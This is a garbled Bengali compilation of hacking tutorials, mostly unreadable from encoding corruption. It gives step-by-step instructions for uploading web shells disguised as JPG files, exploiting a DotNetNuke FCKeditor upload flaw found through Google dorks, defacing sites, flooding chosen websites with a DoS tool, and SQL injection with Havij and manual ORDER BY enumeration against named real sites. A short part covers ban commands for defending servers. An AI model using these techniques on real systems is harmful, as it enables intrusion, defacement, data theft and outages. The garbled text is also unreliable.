তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
